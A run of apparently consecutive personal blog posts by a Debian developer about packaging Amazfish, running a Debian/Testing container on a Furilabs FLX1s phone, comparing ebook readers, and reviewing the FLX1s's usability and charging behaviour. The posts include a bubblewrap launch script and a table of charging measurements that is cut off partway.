I have done some packaging work on Amazfish (the smart-watch software that works with the PineTime among others) for Debian. Here is my Git repository for libnemodbus (a dependency for Amazfish that isn t in Debian) [1]. Here is my Git repository for Amazfish itself [2].
These packages are currently using QT5 which is a good reason to not upload them now as the transition to QT6 is in progress. Patching them to work with QT6 (as the libnemodbus upstream is apparently not migrating to QT6 yet) shouldn t be that difficult but is something that needs some care and communication to get it right.
Running this package on my laptop with my PineTime (which worked very reliably when run by GadgetBridge on Android) wasn t reliable and the PineTime would disconnect and refuse to connect again. Doing it on the Furilabs FLX1s gave a similar result. If Amazfish was the only Bluetooth program having problems on my laptop and on my FLX1s then I d blame it, but both those systems have some other Bluetooth issues.
Running this on my laptop Amazfish would send it s own test notifications to my watch but system notifications (from notify-send among others) wouldn t get sent. Running this on my FLX1s I got ONE notification from my network monitoring system sent to my watch before my phone and watch stopped talking to each other.
To make things even more difficult for me the harbour-amazfish-ui program doesn t work correctly with the libraries installed on my FLX1s and doesn t display the content of many screens but it works correctly when running in a container environment with stock Debian/Testing.
Below is the script that I m currently using to launch apps in a Debian/Testing container on my FLX1s. The comment about unshare-user doesn t apply to this version of the script but I left it in to avoid the potential for future confusion. The Furilabs people diverted the bwrap binary and have a wrapper that removes a set of parameters that they think will cause problems.
#!/bin/bash
set -e
BUILDBASE=/chroot/testing
# bwrap: Can't mount proc on /newroot/proc: Device or resource busy
# get the above with --unshare-user and --unshare-pid
exec bwrap.real --bind /tmp /tmp --bind /run /run --bind $HOME $HOME --ro-bind $BUILDBASE/etc /etc --ro-bind $BUILDBASE/usr /usr --ro-bind $BUILDBASE/var/lib /var/lib --symlink usr/bin /bin --symlink usr/sbin /sbin --symlink usr/lib /lib --proc /proc --dev-bind /dev /dev --die-with-parent --new-session "$@"
Due to the range of problems I m having I think it would be best to pass this package on to someone else who has a different test setup. It could be that further testing will reveal that my issues are related to bugs in Amazfish but I can t prove it either way at this time. Maybe when using a smart watch other than a Pine Time it will work more reliably but it seems most likely that my laptop and phone are to blame. I can t make more progress on this now.
I ve had some problems running apps I want on my Furilabs FLX1s [1], so I decided to install some container environments to test various versions. I started with Debian/Testing so I can test the build process for some packages I m about to upload to Unstable.
Systemd Issues
When running debootstrap testing testing to setup the chroot the process aborted with errors including the following from the systemd postinst:
Failed to enable units: Protocol driver not attached.
Cannot open '/etc/machine-id': Protocol driver not attached
This turned out to be from trying to run systemctl in the postinst, I just removed the set -e line from /chroot/testing/var/lib/dpkg/info/systemd.postinst and kept on going (I m not planning to actually use systemd so it s failure to setup wasn t a problem).
Then I installed a bunch of -dev packages needed to build my package which had a dependency chain that included udev leading to the following error:
Setting up udev (260.1-1) ...
Failed to chase and open directory '/etc/udev/hwdb.d', ignoring: Protocol driver not attached
Failed to chase and open directory '/usr/lib/udev/hwdb.d', ignoring: Protocol driver not attached
Udev is also a part of systemd.
Googling for this turned up a closed systemd bug about this indicating that it has a minimum kernel version of 5.10 [2]. The Furiphone has kernel 4.19.325-furiphone-radon due to being based on Android.
Checking the kernel version isn t that hard to do, if the systemd programs in question checked the version and reported can t run on kernels prior to 5.10 then it would avoid a lot of confusion and also bug reports that the systemd developers don t want.
Some Debian package dependencies can probably do with revision. Installing the packages libkdb3-dev libkf5archive-dev qtdeclarative5-dev qtpositioning5-dev qttools5-dev ideally wouldn t have a dependency chain leading to udev.
The Furilabs people appear to have patched the latest Debian version of systemd to work with the older kernels, the version is currently 260.1-1+furios0+git20260425023744.8401044.forky.production.
Compile Times
I got this working by just editing every postinst script and either removing the set -e or adding an exit 0 at the top, I don t need things to be configured properly for a running OS I just need the files in the right locations for a container.
One issue I discovered when I started compiling is that it was only running on 1 core and the nprocs program was returning 1 . The lscpu program showed that only 1 of the 8 cores was online, it was a single Cortex-A78 core. Some combination of putting it in caffeine mode and having the screen on enabled all 6*Cortex-A55 and 2*Cortex-A78 cores.
The below table compares compiling Harbour-Amazfish on the Furiphone with all 8 CPU cores active, my E5-2696 v4 workstation (almost the fastest socket 2011-3 CPU ever made), running ARM64 software emulation on a system with two E5-2699A v4 CPUs, and a Radxa 8 core ARM SBC (which I will review in a future blog post).
Given that the source apparently limits the parallelism to less than 7 cores on average it s pretty impressive for the elapsed time to be only 2.5* longer on the phone. Emulating the ARM64 build at about 4* the system CPU time is impressive too, as the system has 4.5* as many CPU cores it could theoretically compile ARM code faster than the native ARM hardware I own for any project that uses enough cores.
FBReader
After my previous blog post about eBook readers in Debian [1] a reader recommended FBReader. I tried it and it s now my favourite reader. It works nicely on laptop and phone and takes significantly less RAM than Calibre or Arianna (especially important for phones). While the problems with my FLX1s not displaying text with Calibre or Arianna might be the fault of something on the FLX1s side those problems just don t happen with FBReader.
FBReader has apparently now got a proprietary version as the upstream, but we still have FOSS code to use in Debian. It would be nice if someone updated it to store the reading location using WebDAV and/or a local file that can be copied with the NextCloud client or similar. Currently there is code to store reading location in the Google cloud which I don t want to use. It s not THAT difficult to see what chapter you are at with one device and just skip to that part on another, but it is an annoyance.
One thing I really like about FBReader is that you can run it with a epub file on the command line and it just opens it and when it s been closed you can just open it again to the same spot in the same file. I don t want a library to view a book list, I just want to go back to what I was last reading in a hurry. Calibre might be better for some uses, for example I can imagine someone in the publishing industry with a collection of thousands of epub files finding that Calibre works better for them. But for the typical person who just wants to read one book and keep reading it until they finish it FBReader seems clearly better. The GUI is a little unusual, but it s not at all confusing and it works really well on mobile.
Okular
I tried Okular (the KDE viewer for PDF files etc) which displays epub files if you have the okular-extra-backends installed, but it appears to not display books with the background color set to black. I would appreciate it if someone who has read some public domain or CC licences epub files can recommend ones with a black background that I could use for testing as I can t file a Debian bug report without sample data to reproduce the bug. I decided not to use it for actual book reading as FBReader is far better for my use taking less RAM and being well optimised for mobile use.
Folite
Foliate supports specifying a book on the command-line which is nice. But it takes more memory than FBReader which is probably mostly due to using webkit to display things. The output was in 2 columns on my laptop in small text which is probably configurable but I didn t proceed with it. I determined that it doesn t compare with FBReader for my use. It s written in JavaScript which may be a positive feature for some people.
Koodo
I had a brief test of Koodo which isn t in Debian. Here is the Koodo Reader Github [2]. I installed the .deb that they created, it installs files to /opt/Koodo Reader/ (yes that s a space in the directory name) and appears to have Chromium as part of the runtime. I didn t go past that even though it appears to have a decent feature set. It is licensed under version 3 of the AGPL so is suitable for Debian packaging if someone wants to do it.
Thorium
I saw the Thorium reader on Github [3] which looks promising, it s under the BSD 3 clause license so is suitable for Debian packaging. The EDR Lab seems like a good project for advancing electronic document use [4] and it would be good to have their stuff in Debian.
For the moment I m happy using FBReader.
I ve been using the Furilabs FLX1s phone [1] as my daily driver for 6 weeks, it s a decent phone, not as good as I hoped but good enough to use every day and rely on for phone calls about job interviews etc. I intend to keep using it as my main phone and as a platform to improve phone software in Debian as you really can t effectively find bugs unless you use the platform for important tasks.
Support Problems
I previously wrote about the phone after I received it without a SIM caddy on the 13th of Jan. I had a saga with support about this, on the 16th of Jan one support person said that they would ship it immediately but didn t provide a tracking number or any indication of when it would arrive. On the 5th of Feb I contacted support again and asked how long it would be, the new support person seemed to have no record of my previous communication but said that they would send it. On the 17th of Feb I made another support request including asking for a way of direct communication as the support email came from an address that wouldn t accept replies, I was asked for a photo showing where the problem is. The support person also said that they might have to send a replacement phone!
The last support request I sent included my disappointment at the time taken to resolve the issue and the proposed solution of replacing the entire phone (why have two international shipments of a fragile and expensive phone when a single letter with a cheap SIM caddy would do?). I didn t receive a reply but the SIM caddy arrived on the 2nd of Mar. Here is a pic of the SIM caddy and the package it came in:
One thing that should be noted is that some of the support people seemed to be very good at their jobs and they were all friendly. It was the system that failed here, turning a minor issue of a missing part into a 6 week saga.
Furilabs needs to do the following to address this issue:
Make it possible to reply directly to a message from a support person. Accept email with a custom subject to sort it, give a URL for a web form, anything. Collating discussions with a customer allows giving better support while taking less time for the support people.
Have someone monitor every social media address that is used by the company. When someone sends a support request in a public Mastodon post it indicates that something has gone wrong and you want to move quickly to resolve it.
Take care of the little things, like sending a tracking number for every parcel. If it s something too small for a parcel (the SIM caddy could have fit in a regular letter) then just tell the customer what date it was posted and where it was posted from so they have some idea of when it will arrive.
This is not just a single failure of Furilabs support, it s a systemic failure of their processes.
Problems I Will Fix Unless Someone Beats Me to it
Here are some issues I plan to work on.
Smart Watch Support
I need to port one of the smart watch programs to Debian. Also I want to make one of them support the Colmi P80 [2].
A smart watch significantly increases the utility of a phone even though IMHO they aren t doing nearly all the things that they could and should do. When we get Debian programs talking to the PineTime it will make a good platform for development of new smart phone and OS features.
Nextcloud
I have ongoing issues of my text Nextcloud installation on a Debian VM not allowing connection from the Linux desktop app (as packaged in Debian) and from the Android client (from f-droid). The desktop client works with a friend s Nextcloud installation on Ubuntu so I may try running it on an Ubuntu VM I run while waiting for the Debian issue to get resolved. There was a bug recently fixed in Nextcloud that appears related so maybe the next release will fix it.
For the moment I ve been running without these features and I call and SMS people from knowing their number or just returning calls. Phone calls generally aren t very useful for me nowadays except when applying for jobs. If I could deal with recruiters and hiring managers via video calls then I would consider just not having a phone number.
Wifi IPv6
Periodically IPv6 support just stops working, I can t ping the gateway. I turn wifi off and on again and it works. This might be an issue with my wifi network configuration. This might be an issue with the way I have configured my IPv6 networking, although that problem doesn t happen with any of my laptops.
Chatty Sorting
Chatty is the program for SMS that is installed by default (part of the phosh/phoc setup), it also does Jabber. Version 0.8.7 is installed which apparently has some Furios modifications and it doesn t properly support sorting SMS/Jabber conversations. Version 0.8.9 from Debian sorts in the same way as most SMS and Jabber programs with the most recent at the top. But the Debian version doesn t support Jabber (only SMS and Matrix). When I went back to the Furilabs version of Chatty it still sorted for a while but then suddenly stopped. Killing Chatty (not just closing the window and reopening it) seems to make it sort the conversations sometimes.
Problems for Others to Fix
Here are the current issues I have starting with the most important.
Important
The following issues seriously reduce the usability of the device.
Hotspot
The Wifi hotspot functionality wasn t working for a few weeks, this Gitlab issue seems to match it [3]. It started working correctly for a day and I was not sure if an update I applied fixed the bug or if it s some sort of race condition that worked for this boot and will return next time I reboot it. Later on I rebooted it and found that it s somewhat random whether it works or now.
Also while it is mostly working it seemed to stop working about every 25 minutes or so and I had to turn it off and on again to get it going.
On another day it went to a stage where it got repeated packet loss when I pinged the phone as a hotspot from my laptop. A pattern of 3 ping responses and 3 Destination Host Unreachable messages was often repeated.
I don t know if this is related to the way Android software is run in a container to access the hardware.
4G Reliability
Sometimes 4G connectivity has just stopped, sometimes I can stop and restart the 4G data through software to fix it and sometimes I need to use the hardware switch. I haven t noticed this for a week or two so there is a possibility that one fix addressed both Hotspot and 4G.
One thing that I will do is setup monitoring to give an alert on the phone if it can t connect to the Internet. I don t want it to just quietly stop doing networking stuff and not tell me!
On-screen Keyboard
The compatibility issues of the GNOME and KDE on-screen keyboards are getting me. I use phosh/phoc as the login environment as I want to stick to defaults at first to not make things any more difficult than they need to be. When I use programs that use QT such as Nheko the keyboard doesn t always appear when it should and it forgets the setting for word completion (which means spelling correction).
The spelling correction system doesn t suggest replacing dont with don t which is really annoying as a major advantage for spelling checkers on touch screens is inserting an apostrophy. An apostrophy takes at least 3* longer than a regular character and saving that delay makes a difference to typing speed.
The spelling correction doesn t correct two words run together.
Medium Priority
These issues are ongoing annoyances.
Delay on Power Button
In the best case scenario this phone has a much slower response to pressing the power button than the Android phones I tested (Huawei Mate 10 Pro and Samsung Galaxy Note 9) and a much slower response than my recollection of the vast majority of Android phones I ve ever used. For testing pressing buttons on the phones simultaneously resulted in the Android phone screens lighting up much sooner. Something like 200ms vs 600ms I don t have a good setup to time these things but it s very obvious when I test.
In a less common case scenario (the phone having been unused for some time) the response can be something like 5 seconds. The worst case scenario is something in excess of 20 seconds.
For UI designers, if you get multiple press events from a button that can turn the screen on/off please make your UI leave the screen on and ignore all the stacked events. Having the screen start turning on and off repeatedly when the phone recovers and processes all the button presses isn t good, especially when each screen flash takes half a second.
Notifications
Touching on a notification for a program often doesn t bring it to the foreground. I haven t yet found a connection between when it does and when it doesn t.
Also the lack of icons in the top bar on the screen to indicate notifications is annoying, but that seems to be an issue of design not the implementation.
Charge Delay
When I connect the phone to a power source there is a delay of about 22 seconds before it starts to charge. Having it miss 22 seconds of charge time is no big deal, having to wait 22 seconds to be sure it s charging before leaving it is really annoying. Also the phone makes an audible alert when it gets to 0% charge which woke me up one night when I had failed to push the USB-C connector in hard enough. This phone requires a slightly deeper connector than most phones so with some plugs it s easy to not quite insert them far enough.
Torch aka Flash
The light for the torch or flash for camera is not bright at all. In a quick test staring into the light from 40cm away wasn t unpleasant compared to my Huawei Mate 10 Pro which has a light bright enough that it hurts to look at it from 4 meters away.
Because of this photos at night are not viable, not even when photographing something that s less than a meter away.
The torch has a brightness setting which doesn t seem to change the brightness, so it seems likely that this is a software issue and the brightness is set at a low level and the software isn t changing it.
Audio
When I connect to my car the Lollypop player starts playing before the phone directs audio to the car, so the music starts coming from the phone for about a second. This is an annoying cosmetic error. Sometimes audio playing pauses for no apparent reason.
It doesn t support the phone profile with Bluetooth so phone calls can t go through the car audio system. Also it doesn t always connect to my car when I start driving, sometimes I need to disable and enable Bluetooth to make it connect.
When I initially set the phone up Lollypop would send the track name when playing music through my car (Nissan LEAF) Bluetooth connection, after an update that often doesn t happen so the car doesn t display the track name or whether the music is playing but the pause icon works to pause and resume music (sometimes it does work).
About 30 seconds into a phone call it switches to hands-free mode while the icon to indicate hands-free is not highlighted, so I have to press the hands-free button twice to get it back to normal phone mode.
Low Priority
I could live with these things remaining as-is but it s annoying.
Ticket Mode
There is apparently some code written to display tickets on screen without unlocking. I want to get this working and store screen-caps of the Android barcode screens of the different loyalty cards so I can scan them without unlocking. My threat model does not include someone trying to steal my phone to get a free loaf of bread on the bakery loyalty program.
Camera
The camera app works with both the back and front cameras, which is nice, and sadly based on my experience with other Debian phones it s noteworthy. The problem is that it takes a long time to take a photo, something like a second after the button is pressed long enough for you to think that it just silently took a photo and then move the phone.
The UI of the furios-camera app is also a little annoying, when viewing photos there is an icon at the bottom left of the screen for a video camera and an icon at the bottom right with a cross. Which every time makes me think record videos and leave this screen not return to taking photos and delete current photo . I can get used to the surprising icons, but being so slow is a real problem.
GUI App Installation
The program for managing software doesn t work very well. It said that there were two updates for Mesa package needed, but didn t seem to want to install them. I ran flatpak update as root to fix that. The process of selecting software defaults to including non-free, and most of the available apps are for desktop/laptop with no way to search for phone/tablet apps.
Generally I think it s best to just avoid this and use apt and flatpak directly from the command-line. Being able to ssh to my phone from a desktop or laptop is good!
Android Emulation
The file /home/furios/.local/share/andromeda/data/system/uiderrors.txt is created by the Andromeda system which runs Android apps in a LXC container and appears to grow without end. After using the phone for a month it was 3.5G in size. The disk space usage isn t directly a problem, out of the 110G storage space only 17G is used and I don t have a need to put much else on it, even if I wanted to put backups of /home from my laptop on it when travelling that would still leave plenty of free space. But that sort of thing is a problem for backing up the phone and wasting 3.5G out of 110G total is a fairly significant step towards breaking the entire system.
Also having lots of logging messages from a subsystem that isn t even being used is a bad sign.
I just tried using it and it doesn t start from either the settings menu or from the f-droid icon. Android isn t that important to me as I want to get away from the proprietary app space so I won t bother trying this any more.
Unfixable Problems
Unlocking
After getting used to fingerprint unlocking going back to a password is a pain. I think that the hardware isn t sufficient for modern quality face recognition that can t be fooled by a photo and there isn t fingerprint hardware.
When I first used an Android phone using a pin to unlock didn t seem like a big deal, but after getting used to fingerprint unlock it s a real drag to go without. This is a real annoyance when doing things like checking Wikipedia while watching TV.
This phone would be significantly improved with a fingerprint sensor or a camera that worked well enough for face unlock.
Plasma Mobile
According to Reddit Plasma Mobile (KDE for phones) doesn t support Halium and can never work on this phone because of it [4]. This is one of a number of potential issues with the phone, running on hardware that was never designed for open OSs is always going to have issues.
Wifi MAC Address
The MAC keeps changing on reboot so I can t assign a permanent IPv4 address to the phone. It appears from the MAC prefix of 00:08:22 that the network hardware is made in InPro Comm which is well known for using random addresses in the products it OEMs. They apparently have one allocation of 2^24 addresses and each device randomly chooses a MAC from that range on boot.
In the settings for a Wifi connection the Identity tab has a field named Cloned Address which can be set to Stable for SSID that prevents it from changing and allows a static IP address allocation from DHCP. It s not ideal but it works.
Network Manager can be configured to have a permanent assigned MAC address for all connections or for just some connections. In the past for such things I have copied MAC addresses from ethernet devices that were being discarded and used them for such things. For the moment the Stable for SSID setting does what I need but I will consider setting a permanent address at some future time.
Docks
Having the ability to connect to a dock is really handy. The PinePhonePro and Librem5 support it and on the proprietary side a lot of Samsung devices do it with a special desktop GUI named Dex and some Huawei devices also have a desktop version of the GUI. It s unfortunate that this phone can t do it.
The Good Things
It s good to be able to ssh in to my phone, even if the on-screen keyboard worked as well as the Android ones it would still be a major pain to use when compared to a real keyboard. The phone doesn t support connecting to a dock (unlike Samsung phones I ve used for which I found Dex to be very useful with a 4K monitor and proper keyboard) so ssh is the best way to access it.
This phone has very reliable connections to my home wifi. I ve had ssh sessions from my desktop to my phone that have remained open for multiple days. I don t really need this, I ve just forgotten to logout and noticed days later that the connection is still running. None of the other phones running Debian could do that.
Running the same OS on desktop and phone makes things easier to test and debug.
Having support for all the things that Linux distributions support is good. For example none of the Android music players support all the encodings of audio that comes from YouTube so to play all of my music collection on Android I would need to transcode most of them which means either losing quality, wasting storage space, or both. While Lollypop plays FLAC0, mp3, m4a, mka, webm, ogg, and more.
Conclusion
This is a step towards where I want to go but it s far from the end goal.
The PinePhonePro and Librem5 are more open hardware platforms which have some significant benefits. But the battery life issues make them unusable for me.
Running Mobian on a OnePlus 6 or Droidian on a Note 9 works well for the small tablet features but without VoLTE. While the telcos have blocked phones without VoLTE data devices still work so if recruiters etc would stop requiring phone calls then I could make one of them an option.
The phone works well enough that it could potentially be used by one of my older relatives. If I could ssh in to my parents phones when they mess things up that would be convenient.
I ve run this phone as my daily driver since the 3rd of March and it has worked reasonably well. 6 weeks compared to my previous use of the PinePhonePro for 3 days. This is the first time in 15 years that a non-Android phone has worked for me personally. I have briefly used an iPhone 7 for work which basically did what it needed to do, it was at the bottom of the pile of unused phones at work and I didn t want to take a newer iPhone that could be used by someone who s doing more than the occasional SMS or Slack message.
So this is better than it might have been, not as good as I hoped, but a decent platform to use it while developing for it.
Laptop
For a while I ve been using Calibre 8.5.0+ds-1+deb13u1 in Debian/Trixie running KDE for reading ebooks on my laptop, it generally works well and has a large font size. The only downsides of it for that use are taking more RAM than I would prefer (about 780M RSS which seems a lot for a relatively simple task) and having separate windows for the list of books and reading an actual book without any options to just open the last book and not delay me.
I tried Arianna 25.04.0-1 in Debian/Trixie, it has a significantly smaller font size and doesn t allow high contrast colors as the default is black on gray with the dark theme in KDE. It also only allows left and right arrows for moving through the book while Calibre uses up/down, left/right, or pgup/pgdn so whatever keys seem reasonable to you are going to work. The RSS was 762M which wasn t great but wasn t the real problem. Rumours of Arianna using less RAM than Calibre seem exaggerated.
Librem5
On my Librem5 phone with Plasma Mobile Calibre 8.5.0+ds-1+deb13u1 both the initial setup screen and the main screen for selecting a book to read don t work in the width of portrait view on the phone. After putting it in landscape mode it worked, but I couldn t touch on a book title to select it I had to touch on the number of the book at the left of the list box. But once it was loaded everything was fine. On the Librem5 Arianna 25.04.0-1 just worked fine, although only using left/right swipes to change pages instead of up/down was annoying.
Furilabs FLX1s
On my Furilabs FLX1s with phosh Arianna 25.04.0-1 and Calibre 8.16.2+ds+~0.10.5-3 both gave the same result of not displaying text or images from the book, I m not sure if it s phosh or some other aspect of the FLX1s configuration at fault.
PinePhonePro
On my PinePhonePro running Debian/Testing with Plasma Mobile Arianna 25.12.3-1 worked without any issue and up/down swipes worked. Calibre 9.5.0+ds+~0.10.5-1 had the initial screen work fine in portrait mode but the main screen was too wide and needed landscape. Also the issue of having to touch the number applied.
Laptop running Debian/Unstable
Calibre 9.6.0+ds+~0.10.5-2 and Arianna 25.12.3-1 worked quite nicely on a Thinkpad running Debian/Unstable. One thing I discovered while testing it is that Calibre supports the CTRL-PLUS and CTRL-MINUS key combinations to change font sizes and that also works on the version in Debian/Trixie. Arianna doesn t support CTRL-PLUS/MINUS.
Conclusion
The problems I had were Arianna on a laptop, everything on the Furilabs FLX1s, and Calibre s UI not being well adjusted for mobile devices.
The Aim
I have just got a Furilabs FLX1s [1] which is a phone running a modified version of Debian. I want to have a phone that runs all apps that I control and can observe and debug. Android is very good for what it does and there are security focused forks of Android which have a lot of potential, but for my use a Debian phone is what I want.
The FLX1s is not going to be my ideal phone, I am evaluating it for use as a daily-driver until a phone that meets my ideal criteria is built. In this post I aim to provide information to potential users about what it can do, how it does it, and how to get the basic functions working. I also evaluate how well it meets my usage criteria.
I am not anywhere near an average user. I don t think an average user would ever even see one unless a more technical relative showed one to them. So while this phone could be used by an average user I am not evaluating it on that basis. But of course the features of the GUI that make a phone usable for an average user will allow a developer to rapidly get past the beginning stages and into more complex stuff.
Features
The Furilabs FLX1s [1] is a phone that is designed to run FuriOS which is a slightly modified version of Debian. The purpose of this is to run Debian instead of Android on a phone. It has switches to disable camera, phone communication, and microphone (similar to the Librem 5) but the one to disable phone communication doesn t turn off Wifi, the only other phone I know of with such switches is the Purism Librem 5.
It has a 720*1600 display which is only slightly better than the 720*1440 display in the Librem 5 and PinePhone Pro. This doesn t compare well to the OnePlus 6 from early 2018 with 2280*1080 or the Note9 from late 2018 with 2960*1440 which are both phones that I ve run Debian on. The current price is $US499 which isn t that good when compared to the latest Google Pixel series, a Pixel 10 costs $US649 and has a 2424*1080 display and it also has 12G of RAM while the FLX1s only has 8G. Another annoying thing is how rounded the corners are, it seems that round corners that cut off the content are a standard practice nowadays, in my collection of phones the latest one I found with hard right angles on the display was a Huawei Mate 10 Pro which was released in 2017. The corners are rounder than the Note 9, this annoys me because the screen is not high resolution by today s standards so losing the corners matters.
The default installation is Phosh (the GNOME shell for phones) and it is very well configured. Based on my experience with older phone users I think I could give a phone with this configuration to a relative in the 70+ age range who has minimal computer knowledge and they would be happy with it. Additionally I could set it up to allow ssh login and instead of going through the phone support thing of trying to describe every GUI setting to click on based on a web page describing menus for the version of Android they are running I could just ssh in and run diff on the .config directory to find out what they changed. Furilabs have done a very good job of setting up the default configuration, while Debian developers deserve a lot of credit for packaging the apps the Furilabs people have chosen a good set of default apps to install to get it going and appear to have made some noteworthy changes to some of them.
Droidian
The OS is based on Android drivers (using the same techniques as Droidian [2]) and the storage device has the huge number of partitions you expect from Android as well as a 110G Ext4 filesystem for the main OS.
The first issue with the Droidian approach of using an Android kernel and containers for user space code to deal with drivers is that it doesn t work that well. There are 3 D state processes (uninterrupteable sleep which usually means a kernel bug if the process remains in that state) after booting and doing nothing special. My tests running Droidian on the Note 9 also had D state processes, in this case they are D state kernel threads (I can t remember if the Note 9 had regular processes or kernel threads stuck in D state). It is possible for a system to have full functionality in spite of some kernel threads in D state but generally it s a symptom of things not working as well as you would hope.
The design of Droidian is inherently fragile. You use a kernel and user space code from Android and then use Debian for the rest. You can t do everything the Android way (with the full OS updates etc) and you also can t do everything the Debian way. The TOW Boot functionality in the PinePhone Pro is really handy for recovery [3], it allows the internal storage to be accessed as a USB mass storage device. The full Android setup with ADB has some OK options for recovery, but part Android and part Debian has less options. While it probably is technically possible to do the same things in regard to OS repair and reinstall the fact that it s different from most other devices means that fixes can t be done in the same way.
Applications
GUI
The system uses Phosh and Phoc, the GNOME system for handheld devices. It s a very different UI from Android, I prefer Android but it is usable with Phosh.
IM
Chatty works well for Jabber (XMPP) in my tests. It supports Matrix which I didn t test because I don t desire the same program doing Matrix and Jabber and because Matrix is a heavy protocol which establishes new security keys for each login so I don t want to keep logging in on new applications.
Chatty also does SMS but I couldn t test that without the SIM caddy.
I use Nheko for Matrix which has worked very well for me on desktops and laptops running Debian.
Email
I am currently using Geary for email. It works reasonably well but is lacking proper management of folders, so I can t just subscribe to the important email on my phone so that bandwidth isn t wasted on less important email (there is a GNOME gitlab issue about this see the Debian Wiki page about Mobile apps [4]).
Music
Music playing isn t a noteworthy thing for a desktop or laptop, but a good music player is important for phone use. The Lollypop music player generally does everything you expect along with support for all the encoding formats including FLAC0 a major limitation of most Android music players seems to be lack of support for some of the common encoding formats. Lollypop has it s controls for pause/play and going forward and backward one track on the lock screen.
Maps
The installed map program is gnome-maps which works reasonably well. It gets directions via the Graphhopper API [5]. One thing we really need is a FOSS replacement for Graphhopper in GNOME Maps.
Delivery and Unboxing
I received my FLX1s on the 13th of Jan [1]. I had paid for it on the 16th of Oct but hadn t received the email with the confirmation link so the order had been put on hold. But after I contacted support about that on the 5th of Jan they rapidly got it to me which was good. They also gave me a free case and screen protector to apologise, I don t usually use screen protectors but in this case it might be useful as the edges of the case don t even extend 0.5mm above the screen. So if it falls face down the case won t help much.
When I got it there was an open space at the bottom where the caddy for SIMs is supposed to be. So I couldn t immediately test VoLTE functionality. The contact form on their web site wasn t working when I tried to report that and the email for support was bouncing.
Bluetooth
As a test of Bluetooth I connected it to my Nissan LEAF which worked well for playing music and I connected it to several Bluetooth headphones. My Thinkpad running Debian/Trixie doesn t connect to the LEAF and to headphones which have worked on previous laptops running Debian and Ubuntu. A friend s laptop running Debian/Trixie also wouldn t connect to the LEAF so I suspect a bug in Trixie, I need to spend more time investigating this.
Wifi
Currently 5GHz wifi doesn t work, this is a software bug that the Furilabs people are working on. 2.4GHz wifi works fine. I haven t tested running a hotspot due to being unable to get 4G working as they haven t yet shipped me the SIM caddy.
Docking
This phone doesn t support DP Alt-mode or Thunderbolt docking so it can t drive an external monitor. This is disappointing, Samsung phones and tablets have supported such things since long before USB-C was invented. Samsung DeX is quite handy for Android devices and that type feature is much more useful on a device running Debian than on an Android device.
Camera
The camera works reasonably well on the FLX1s. Until recently for the Librem 5 the camera didn t work and the camera on my PinePhone Pro currently doesn t work. Here are samples of the regular camera and the selfie camera on the FLX1s and the Note 9. I think this shows that the camera is pretty decent. The selfie looks better and the front camera is worse for the relatively close photo of a laptop screen taking photos of computer screens is an important part of my work but I can probably work around that.
I wasn t assessing this camera t find out if it s great, just to find out if I have the sorts of problems I had before and it just worked. The Samsung Galaxy Note series of phones has always had decent specs including good cameras. Even though the Note 9 is old comparing to it is a respectable performance. The lighting was poor for all photos.
FLX1s
Note 9
Power Use
In 93 minutes having the PinePhone Pro, Librem 5, and FLX1s online with open ssh sessions from my workstation the PinePhone Pro went from 100% battery to 26%, the Librem 5 went from 95% to 69%, and the FLX1s went from 100% to 99%. The battery discharge rate of them was reported as 3.0W, 2.6W, and 0.39W respectively. Based on having a 16.7Wh battery 93 minutes of use should have been close to 4% battery use, but in any case all measurements make it clear that the FLX1s will have a much longer battery life. Including the measurement of just putting my fingers on the phones and feeling the temperature (FLX1s felt cool and the others felt hot).
The PinePhone Pro and the Librem 5 have an optional Caffeine mode which I enabled for this test, without that enabled the phone goes into a sleep state and disconnects from Wifi. So those phones would use much less power with caffeine mode enabled, but they also couldn t get fast response to notifications etc. I found the option to enable a Caffeine mode switch on the FLX1s but the power use was reported as being the same both with and without it.
Charging
One problem I found with my phone is that in every case it takes 22 seconds to negotiate power. Even when using straight USB charging (no BC or PD) it doesn t draw any current for 22 seconds. When I connect it it will stay at 5V and varying between 0W and 0.1W (current rounded off to zero) for 22 seconds or so and then start charging. After the 22 second display the phone will make the tick sound indicating that it s charging and the power meter will measure that it s drawing some current.
I added the table from my previous post about phone charging speed [6] with an extra row for the FLX1s. For charging from my PC USB ports the results were the worst ever, the port that does BC did not work at all it was looping trying to negotiate after a 22 second negotiation delay the port would turn off. The non-BC port gave only 2.4W which matches the 2.5W given by the spec for a High-power device which is what that port is designed to give. In a discussion on the Purism forum about the Librem5 charging speed one of their engineers told me that the reason why their phone would draw 2A from that port was because the cable was identifying itself as a USB-C port not a High-power device port. But for some reason out of the 7 phones I tested the FLX1s and the One Plus 6 are the only ones to limit themselves to what the port is apparently supposed to do. Also the One Plus 6 charges slowly on every power supply so I don t know if it is obeying the spec or just sucking.
On a cheap AliExpress charger the FLX1s gets 5.9V and on a USB battery it gets 5.8V. Out of all 42 combinations of device and charger I tested these were the only ones to involve more than 5.1V but less than 9V. I welcome comments suggesting an explanation.
The case that I received has a hole for the USB-C connector that isn t wide enough for the plastic surrounds on most of my USB-C cables (including the Dell dock). Also to make a connection requires a fairly deep insertion (deeper than the One Plus 6 or the Note 9). So without adjustment I have to take the case off to charge it. It s no big deal to adjust the hole (I have done it with other cases) but it s an annoyance.
Phone
Top z640
Bottom Z640
Monitor
Ali Charger
Dell Dock
Battery
Best
Worst
FLX1s
FAIL
5.0V 0.49A 2.4W
4.8V 1.9A 9.0W
5.9V 1.8A 11W
4.8V 2.1A 10W
5.8V 2.1A 12W
5.8V 2.1A 12W
5.0V 0.49A 2.4W
Note9
4.8V 1.0A 5.2W
4.8V 1.6A 7.5W
4.9V 2.0A 9.5W
5.1V 1.9A 9.7W
4.8V 2.1A 10W
5.1V 2.1A 10W
5.1V 2.1A 10W
4.8V 1.0A 5.2W
Pixel 7 pro
4.9V 0.80A 4.2W
4.8V 1.2A 5.9W
9.1V 1.3A 12W
9.1V 1.2A 11W
4.9V 1.8A 8.7W
9.0V 1.3A 12W
9.1V 1.3A 12W
4.9V 0.80A 4.2W
Pixel 8
4.7V 1.2A 5.4W
4.7V 1.5A 7.2W
8.9V 2.1A 19W
9.1V 2.7A 24W
4.8V 2.3A 11.0W
9.1V 2.6A 24W
9.1V 2.7A 24W
4.7V 1.2A 5.4W
PPP
4.7V 1.2A 6.0W
4.8V 1.3A 6.8W
4.9V 1.4A 6.6W
5.0V 1.2A 5.8W
4.9V 1.4A 5.9W
5.1V 1.2A 6.3W
4.8V 1.3A 6.8W
5.0V 1.2A 5.8W
Librem 5
4.4V 1.5A 6.7W
4.6V 2.0A 9.2W
4.8V 2.4A 11.2W
12V 0.48A 5.8W
5.0V 0.56A 2.7W
5.1V 2.0A 10W
4.8V 2.4A 11.2W
5.0V 0.56A 2.7W
OnePlus6
